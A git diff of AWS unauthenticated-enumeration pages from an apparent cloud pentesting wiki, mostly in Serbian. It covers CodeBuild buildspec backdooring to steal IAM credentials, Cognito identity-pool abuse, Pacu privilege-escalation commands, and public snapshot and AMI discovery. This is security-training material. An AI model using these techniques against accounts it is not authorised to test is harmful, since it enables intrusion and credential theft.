a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md deleted file mode 100644 index f86d28e61..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md +++ /dev/null @@ -1,33 +0,0 @@ -# AWS - CodeBuild Neautentifikovani Pristup - -{{#include ../../../banners/hacktricks-training.md}} - -## CodeBuild - -Za više informacija pogledajte ovu stranicu: - -{{#ref}} -../aws-services/aws-codebuild-enum.md -{{#endref}} - -### buildspec.yml - -Ako kompromitujete pristup za pisanje nad repozitorijumom koji sadrži datoteku nazvanu **`buildspec.yml`**, mogli biste **ubaciti nazad** ovu datoteku, koja specificira **komande koje će biti izvršene** unutar CodeBuild projekta i eksfiltrirati tajne, kompromitovati ono što se radi i takođe kompromitovati **CodeBuild IAM uloge akreditive**. - -Imajte na umu da čak i ako ne postoji nijedna **`buildspec.yml`** datoteka, ali znate da se koristi Codebuild (ili druga CI/CD), **modifikovanje nekog legitimnog koda** koji će biti izvršen može vam takođe doneti reverznu ljusku, na primer. - -Za neke povezane informacije možete pogledati stranicu o tome kako napasti Github Actions (slično ovome): - -{{#ref}} -../../../pentesting-ci-cd/github-security/abusing-github-actions/ -{{#endref}} - -## Samostalno hostovani GitHub Actions izvršioci u AWS CodeBuild - -Kao što je [**naznačeno u dokumentaciji**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), moguće je konfigurisati **CodeBuild** da pokreće **samostalno hostovane Github akcije** kada se pokrene radni tok unutar konfigurisanog Github repozitorijuma. Ovo se može otkriti proverom konfiguracije CodeBuild projekta jer **`Tip događaja`** mora sadržati: **`WORKFLOW_JOB_QUEUED`** i u Github radnom toku jer će odabrati **samostalno hostovan** izvršioc kao što je ovaj: -```bash -runs-on: codebuild--${{ github.run_id }}-${{ github.run_attempt }} -``` -Ova nova veza između Github Actions i AWS stvara još jedan način za kompromitovanje AWS-a iz Github-a, jer će kod u Github-u raditi u CodeBuild projektu sa priloženom IAM ulogom. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md new file mode 100644 index 000000000..5b83a9bf8 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md @@ -0,0 +1,33 @@ +# AWS - CodeBuild Neautentifikovan pristup + +{{#include ../../../../banners/hacktricks-training.md}} + +## CodeBuild + +Za više informacija pogledajte ovu stranicu: + +{{#ref}} +../../aws-services/aws-codebuild-enum.md +{{#endref}} + +### buildspec.yml + +Ako kompromitujete write access nad repozitorijumom koji sadrži fajl nazvan **`buildspec.yml`**, možete ubaciti **backdoor** u taj fajl. Taj fajl specificira **komande koje će biti izvršene** unutar CodeBuild projekta i omogućava da exfiltrate-ujete tajne, compromise-ujete izvršavanje i takođe compromise-ujete **CodeBuild IAM role credentials**. + +Imajte na umu da čak i ako ne postoji **`buildspec.yml`** fajl, ali znate da se koristi CodeBuild (ili neki drugi CI/CD), **modifikovanje nekog legitimnog koda** koji će biti izvršen takođe može omogućiti reverse shell, na primer. + +Za dodatne informacije pogledajte stranicu o tome kako napasti Github Actions (slično ovom): + +{{#ref}} +../../../../pentesting-ci-cd/github-security/abusing-github-actions/ +{{#endref}} + +## Samostalno hostovani GitHub Actions runneri u AWS CodeBuild + +Kao što je [**naznačeno u dokumentaciji**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), moguće je konfigurisati **CodeBuild** da pokreće **self-hosted GitHub Actions** kada se workflow pokrene u konfigurisanom GitHub repo-u. Ovo se može otkriti proverom konfiguracije CodeBuild projekta, zato što **`Event type`** mora da sadrži: **`WORKFLOW_JOB_QUEUED`**, a u GitHub Workflow-u zato što će izabrati **self-hosted** runner ovako: +```bash +runs-on: codebuild--${{ github.run_id }}-${{ github.run_attempt }} +``` +Ovaj novi odnos između Github Actions i AWS stvara još jedan način da se kompromituje AWS sa Github-a, jer će se kod u Github-u izvršavati u CodeBuild projektu sa pridruženom IAM role. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md deleted file mode 100644 index 60dcf503a..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md +++ /dev/null @@ -1,44 +0,0 @@ -# AWS - Cognito Neautentifikovana Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## Neautentifikovani Cognito - -Cognito je AWS usluga koja omogućava programerima da **dodele svojim korisnicima aplikacije pristup AWS uslugama**. Programeri će dodeliti **IAM uloge autentifikovanim korisnicima** u svojoj aplikaciji (potencijalno će ljudi moći samo da se prijave) i takođe mogu dodeliti **IAM ulogu neautentifikovanim korisnicima**. - -Za osnovne informacije o Cognitu pogledajte: - -{{#ref}} -../aws-services/aws-cognito-enum/ -{{#endref}} - -### ID identiteta - -Identitetski bazeni mogu dodeliti **IAM uloge neautentifikovanim korisnicima** koji samo **znaju ID identiteta** (što je prilično uobičajeno da se **pronađe**), a napadač sa ovom informacijom mogao bi pokušati da **pristupi toj IAM ulozi** i iskoristi je.\ -Pored toga, IAM uloge takođe mogu biti dodeljene **autentifikovanim korisnicima** koji pristupaju identitetskom bazenu. Ako napadač može **registrovati korisnika** ili već ima **pristup provajderu identiteta** koji se koristi u identitetskom bazenu, mogao bi pristupiti **IAM ulozi koja se dodeljuje autentifikovanim** korisnicima i zloupotrebiti njene privilegije. - -[**Pogledajte kako to uraditi ovde**](../aws-services/aws-cognito-enum/cognito-identity-pools.md). - -### ID korisničkog bazena - -Po defaultu, Cognito omogućava **registraciju novog korisnika**. Mogućnost registracije korisnika može vam dati **pristup** **osnovnoj aplikaciji** ili **autentifikovanoj IAM ulozi pristupa identitetskom bazenu** koji prihvata kao provajdera identiteta Cognito korisnički bazen. [**Pogledajte kako to uraditi ovde**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). - -### Pacu moduli za pentesting i enumeraciju - -[Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS okvir za eksploataciju, sada uključuje module "cognito\_\_enum" i "cognito\_\_attack" koji automatizuju enumeraciju svih Cognito resursa u nalogu i označavaju slabe konfiguracije, atribute korisnika korišćene za kontrolu pristupa, itd., i takođe automatizuju kreiranje korisnika (uključujući podršku za MFA) i eskalaciju privilegija na osnovu modifikabilnih prilagođenih atributa, upotrebljivih kredencijala identitetskog bazena, preuzimljivih uloga u ID tokenima, itd. - -Za opis funkcija modula pogledajte deo 2 [blog posta](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Za uputstva za instalaciju pogledajte glavnu [Pacu](https://github.com/RhinoSecurityLabs/pacu) stranicu. - -#### Upotreba - -Primer upotrebe `cognito__attack` za pokušaj kreiranja korisnika i svih privesc vektora protiv datog identitetskog bazena i klijenta korisničkog bazena: -```bash -Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools -us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients -59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX -``` -Primer korišćenja cognito\_\_enum za prikupljanje svih korisničkih bazena, klijenata korisničkih bazena, identitetskih bazena, korisnika itd. vidljivih u trenutnom AWS nalogu: -```bash -Pacu (new:test) > run cognito__enum -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md new file mode 100644 index 000000000..6523763ec --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md @@ -0,0 +1,44 @@ +# AWS - Cognito Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## Unauthenticated Cognito + +Cognito is an AWS service that enable developers to **grant their app users access to AWS services**. Developers will grant **IAM roles to authenticated users** in their app (potentially people willbe able to just sign up) and they can also grant an **IAM role to unauthenticated users**. + +For basic info about Cognito check: + +{{#ref}} +../../aws-services/aws-cognito-enum/ +{{#endref}} + +### Identity Pool ID + +Identity Pools can grant **IAM roles to unauthenticated users** that just **know the Identity Pool ID** (which is fairly common to **find**), and attacker with this info could try to **access that IAM rol**e and exploit it.\ +Moreoever, IAM roles could also be assigned to **authenticated users** that access the Identity Pool. If an attacker can **register a user** or already has **access to the identity provider** used in the identity pool you could access to the **IAM role being given to authenticated** users and abuse its privileges. + +[**Check how to do that here**](../../aws-services/aws-cognito-enum/cognito-identity-pools.md). + +### User Pool ID + +By default Cognito allows to **register new user**. Being able to register a user might give you **access** to the **underlaying application** or to the **authenticated IAM access role of an Identity Pool** that is accepting as identity provider the Cognito User Pool. [**Check how to do that here**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). + +### Pacu modules for pentesting and enumeration + +[Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito__enum" and "cognito__attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc. + +For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page. + +#### Usage + +Sample `cognito__attack` usage to attempt user creation and all privesc vectors against a given identity pool and user pool client: +```bash +Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools +us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients +59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX +``` +Primer cognito__enum korišćenja za prikupljanje svih user pools, user pool clients, identity pools, users, itd. vidljivih u trenutnom AWS account-u: +```bash +Pacu (new:test) > run cognito__enum +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md deleted file mode 100644 index c083e4243..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md +++ /dev/null @@ -1,9 +0,0 @@ -# AWS - DocumentDB Neautentifikovana Enum - -{{#include ../../../banners/hacktricks-training.md}} - -### Javni URL šablon -``` -.cluster-..docdb.amazonaws.com -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md new file mode 100644 index 000000000..a4661e9e8 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md @@ -0,0 +1,9 @@ +# AWS - DocumentDB Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +### Predložak javnog URL-a +``` +.cluster-..docdb.amazonaws.com +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md deleted file mode 100644 index 408838328..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md +++ /dev/null @@ -1,15 +0,0 @@ -# AWS - DynamoDB Neautentifikovani Pristup - -{{#include ../../../banners/hacktricks-training.md}} - -## Dynamo DB - -Za više informacija proverite: - -{{#ref}} -../aws-services/aws-dynamodb-enum.md -{{#endref}} - -Osim davanja pristupa svim AWS ili nekim kompromitovanim spoljnim AWS računima, ili ako postoje neki SQL injekcije u aplikaciji koja komunicira sa DynamoDB, ne znam više opcija za pristup AWS računima iz DynamoDB. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md new file mode 100644 index 000000000..0df227905 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md @@ -0,0 +1,15 @@ +# AWS - DynamoDB Neautentifikovan pristup + +{{#include ../../../../banners/hacktricks-training.md}} + +## Dynamo DB + +Za više informacija pogledajte: + +{{#ref}} +../../aws-services/aws-dynamodb-enum.md +{{#endref}} + +Osim davanja pristupa celom AWS nalogu ili nekom kompromitovanom eksternom AWS nalogu, ili postojanja SQL injections u aplikaciji koja komunicira sa DynamoDB, ne znam za druge opcije za pristup AWS nalozima preko DynamoDB. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md similarity index 51% rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md index 57d8bb431..48bac5fd3 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md @@ -1,18 +1,18 @@ -# AWS - EC2 Neautentifikovana Enumeracija +# AWS - EC2 Unauthenticated Enum -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} -## EC2 i Povezane Usluge +## EC2 & Povezane usluge -Proverite na ovoj stranici više informacija o ovome: +Pogledajte na ovoj stranici više informacija o ovome: {{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -### Javne Portove +### Javni portovi -Moguće je izložiti **bilo koji port virtuelnih mašina internetu**. U zavisnosti od **onoga što se pokreće** na izloženom portu, napadač bi mogao da ga zloupotrebi. +Moguće je izložiti **bilo koji port virtuelnih mašina na internetu**. U zavisnosti od **onoga što je pokrenuto** na izloženom portu, napadač to može iskoristiti. #### SSRF @@ -20,9 +20,9 @@ Moguće je izložiti **bilo koji port virtuelnih mašina internetu**. U zavisnos https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html {{#endref}} -### Javne AMI i EBS Snimci +### Public AMIs & EBS Snapshots -AWS omogućava **da se svakome da pristup za preuzimanje AMI i Snimaka**. Možete lako da navedete ove resurse iz svog naloga: +AWS omogućava da se **pristup omogući bilo kome za preuzimanje AMIs i Snapshota**. Ove resurse možete veoma lako listati iz svog naloga: ```bash # Public AMIs aws ec2 describe-images --executable-users all @@ -37,9 +37,9 @@ aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLo aws ec2 describe-snapshots --restorable-by-user-ids all aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")' ``` -Ako pronađete snimak koji može da se vrati od strane bilo koga, obavezno proverite [AWS - EBS Snapshot Dump](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/index.html#ebs-snapshot-dump) za uputstva o preuzimanju i pljačkanju snimka. +Ako pronađete snapshot koji bilo ko može da obnovi, obavezno proverite [AWS - EBS Snapshot Dump](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/index.html#ebs-snapshot-dump) za uputstva o preuzimanju i izvlačenju podataka iz snapshota. -#### Javni URL šablon +#### Šablon javnog URL-a ```bash # EC2 ec2-{ip-seperated}.compute-1.amazonaws.com @@ -47,8 +47,8 @@ ec2-{ip-seperated}.compute-1.amazonaws.com http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443 https://{user_provided}-{random_id}.{region}.elb.amazonaws.com ``` -### Enumerisanje EC2 instanci sa javnim IP-om +### Nabrojite EC2 instance sa javnim IP-om ```bash aws ec2 describe-instances --query "Reservations[].Instances[?PublicIpAddress!=null].PublicIpAddress" --output text ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md deleted file mode 100644 index b6e79e2f6..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md +++ /dev/null @@ -1,30 +0,0 @@ -# AWS - ECR Neautentifikovana Enumeracija - -{{#include ../../../banners/hacktricks-training.md}} - -## ECR - -Za više informacija pogledajte: - -{{#ref}} -../aws-services/aws-ecr-enum.md -{{#endref}} - -### Javne registri repozitorijumi (slike) - -Kao što je pomenuto u sekciji ECS Enumeracija, javni registar je **dostupan svima** i koristi format **`public.ecr.aws//`**. Ako napadač pronađe URL javnog repozitorijuma, mogao bi **preuzeti sliku i tražiti osetljive informacije** u metapodacima i sadržaju slike. -```bash -aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text -``` -> [!WARNING] -> Ovo se takođe može desiti u **privatnim registrima** gde politika registra ili politika repozitorijuma **daje pristup na primer `"AWS": "*"`**. Svako ko ima AWS nalog može pristupiti tom repozitorijumu. - -### Nabrajanje Privatnog Repo - -Alati [**skopeo**](https://github.com/containers/skopeo) i [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) mogu se koristiti za listanje dostupnih repozitorijuma unutar privatnog registra. -```bash -# Get image names -skopeo list-tags docker:// | grep -oP '(?<=^Name: ).+' -crane ls | sed 's/ .*//' -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md new file mode 100644 index 000000000..6854a071d --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md @@ -0,0 +1,30 @@ +# AWS - ECR Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECR + +Za više informacija pogledajte: + +{{#ref}} +../../aws-services/aws-ecr-enum.md +{{#endref}} + +### Javni repozitorijumi registara (slike) + +Kao što je pomenuto u ECS Enum sekciji, javni registar je **dostupan svima** i koristi format **`public.ecr.aws//`**. Ako napadač pronađe URL javnog repozitorijuma, može **preuzeti image i pretražiti osetljive informacije** u metapodacima i sadržaju image-a. +```bash +aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text +``` +> [!WARNING] +> Ovo se takođe može desiti u **privatnim registrima** gde politika registra ili politika repozitorijuma dodeljuje pristup, na primer `"AWS": "*"` . Bilo ko sa AWS nalogom može pristupiti tom repozitorijumu. + +### Enumeracija privatnog repozitorijuma + +Alati [**skopeo**](https://github.com/containers/skopeo) i [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) mogu se koristiti za listanje dostupnih repozitorijuma unutar privatnog registra. +```bash +# Get image names +skopeo list-tags docker:// | grep -oP '(?<=^Name: ).+' +crane ls | sed 's/ .*//' +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md similarity index 52% rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md index 60438d1f5..5e37d56d9 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md @@ -1,18 +1,18 @@ -# AWS - ECS Neautentifikovana Enum +# AWS - ECS Neautentifikovana enumeracija -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## ECS Za više informacija pogledajte: {{#ref}} -../aws-services/aws-ecs-enum.md +../../aws-services/aws-ecs-enum.md {{#endref}} -### Javno Dostupna Bezbednosna Grupa ili Load Balancer za ECS Usluge +### Javno dostupna Security Group ili Load Balancer za ECS servise -Neispravno konfigurisana bezbednosna grupa koja **dozvoljava dolazni saobraćaj sa interneta (0.0.0.0/0 ili ::/0)** za Amazon ECS usluge može izložiti AWS resurse napadima. +Pogrešno konfigurisana security group koja **dozvoljava dolazni saobraćaj sa interneta (0.0.0.0/0 ili ::/0)** ka Amazon ECS servisima može izložiti AWS resurse napadima. ```bash # Example of detecting misconfigured security group for ECS services aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`) || contains(Ipv6Ranges[].CidrIpv6, `::/0`)]]' @@ -20,4 +20,4 @@ aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contain # Example of detecting a publicly accessible load balancer for ECS services aws elbv2 describe-load-balancers --query 'LoadBalancers[?Scheme == `internet-facing`]' ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md deleted file mode 100644 index f3d5b33f8..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md +++ /dev/null @@ -1,35 +0,0 @@ -# AWS - Elastic Beanstalk Neautentifikovana Enumeracija - -{{#include ../../../banners/hacktricks-training.md}} - -## Elastic Beanstalk - -Za više informacija pogledajte: - -{{#ref}} -../aws-services/aws-elastic-beanstalk-enum.md -{{#endref}} - -### Web ranjivost - -Imajte na umu da su po defaultu Beanstalk okruženja **Metadatav1 onemogućena**. - -Format Beanstalk web stranica je **`https://-env..elasticbeanstalk.com/`** - -### Nepropisna pravila sigurnosne grupe - -Pogrešno konfigurisana pravila sigurnosne grupe mogu izložiti Elastic Beanstalk instance javnosti. **Previše permisivna pravila ulaza, kao što je dozvoljavanje saobraćaja sa bilo koje IP adrese (0.0.0.0/0) na osetljivim portovima, mogu omogućiti napadačima pristup instanci**. - -### Javna dostupnost Load Balancera - -Ako Elastic Beanstalk okruženje koristi load balancer i load balancer je konfiguran da bude javno dostupan, napadači mogu **slati zahteve direktno na load balancer**. Iako ovo možda nije problem za web aplikacije koje su namenjene javnoj dostupnosti, to može biti problem za privatne aplikacije ili okruženja. - -### Javna dostupnost S3 Bucketa - -Elastic Beanstalk aplikacije se često čuvaju u S3 bucketima pre implementacije. Ako je S3 bucket koji sadrži aplikaciju javno dostupan, napadač bi mogao **preuzeti kod aplikacije i tražiti ranjivosti ili osetljive informacije**. - -### Enumeracija javnih okruženja -```bash -aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md new file mode 100644 index 000000000..03583c2a8 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md @@ -0,0 +1,35 @@ +# AWS - Elastic Beanstalk Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## Elastic Beanstalk + +Za više informacija pogledajte: + +{{#ref}} +../../aws-services/aws-elastic-beanstalk-enum.md +{{#endref}} + +### Veb ranjivost + +Imajte na umu da su podrazumevano Beanstalk okruženja sa **Metadatav1 onemogućenim**. + +Format Beanstalk veb stranica je **`https://-env..elasticbeanstalk.com/`** + +### Nezaštićena pravila Security Group + +Pogrešno konfigurisana security group pravila mogu izložiti Elastic Beanstalk instance javnosti. **Previše permisivna ingress pravila, kao što je dozvoljavanje saobraćaja sa bilo koje IP adrese (0.0.0.0/0) na osetljivim portovima, mogu omogućiti napadačima pristup instanci**. + +### Load Balancer dostupan javnosti + +Ako Elastic Beanstalk okruženje koristi load balancer i load balancer je konfigurisan da bude dostupan javnosti, napadači mogu **slati zahteve direktno na load balancer**. Iako to možda nije problem za web aplikacije namenjene javnoj dostupnosti, može predstavljati problem za privatne aplikacije ili okruženja. + +### Javnosti dostupni S3 Buckets + +Elastic Beanstalk aplikacije se često čuvaju u S3 buckets pre raspoređivanja. Ako je S3 bucket koji sadrži aplikaciju dostupan javnosti, napadač bi mogao **preuzeti kod aplikacije i tražiti ranjivosti ili osetljive informacije**. + +### Enumeracija javnih okruženja +```bash +aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md deleted file mode 100644 index b018890f4..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md +++ /dev/null @@ -1,10 +0,0 @@ -# AWS - Elasticsearch Neautentifikovana Enum - -{{#include ../../../banners/hacktricks-training.md}} - -### Javni URL šablon -``` -https://vpc-{user_provided}-[random].[region].es.amazonaws.com -https://search-{user_provided}-[random].[region].es.amazonaws.com -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md new file mode 100644 index 000000000..094bd42b6 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md @@ -0,0 +1,10 @@ +# AWS - Elasticsearch Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +### Javni URL predložak +``` +https://vpc-{user_provided}-[random].[region].es.amazonaws.com +https://search-{user_provided}-[random].[region].es.amazonaws.com +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md deleted file mode 100644 index f2e2e1eef..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md +++ /dev/null @@ -1,162 +0,0 @@ -# AWS - IAM & STS Neautentifikovana Enumeracija - -{{#include ../../../banners/hacktricks-training.md}} - -## Enumeracija Uloga i Korisničkih Imena u nalogu - -### ~~Pretpostavi Ulogu Brute-Force~~ - -> [!CAUTION] -> **Ova tehnika više ne funkcioniše** jer, bez obzira na to da li uloga postoji ili ne, uvek dobijate ovu grešku: -> -> `Došlo je do greške (AccessDenied) prilikom pozivanja AssumeRole operacije: Korisnik: arn:aws:iam::947247140022:user/testenv nije ovlašćen da izvrši: sts:AssumeRole na resursu: arn:aws:iam::429217632764:role/account-balanceasdas` -> -> Možete **testirati ovo pokretanjem**: -> -> `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example` - -Pokušaj da **pretpostavite ulogu bez potrebnih dozvola** izaziva AWS poruku o grešci. Na primer, ako niste ovlašćeni, AWS može vratiti: -```ruby -An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS -``` -Ova poruka potvrđuje postojanje uloge, ali ukazuje da njena politika preuzimanja uloge ne dozvoljava vaše preuzimanje. Nasuprot tome, pokušaj da se **preuzme nepostojeća uloga dovodi do druge greške**: -```less -An error 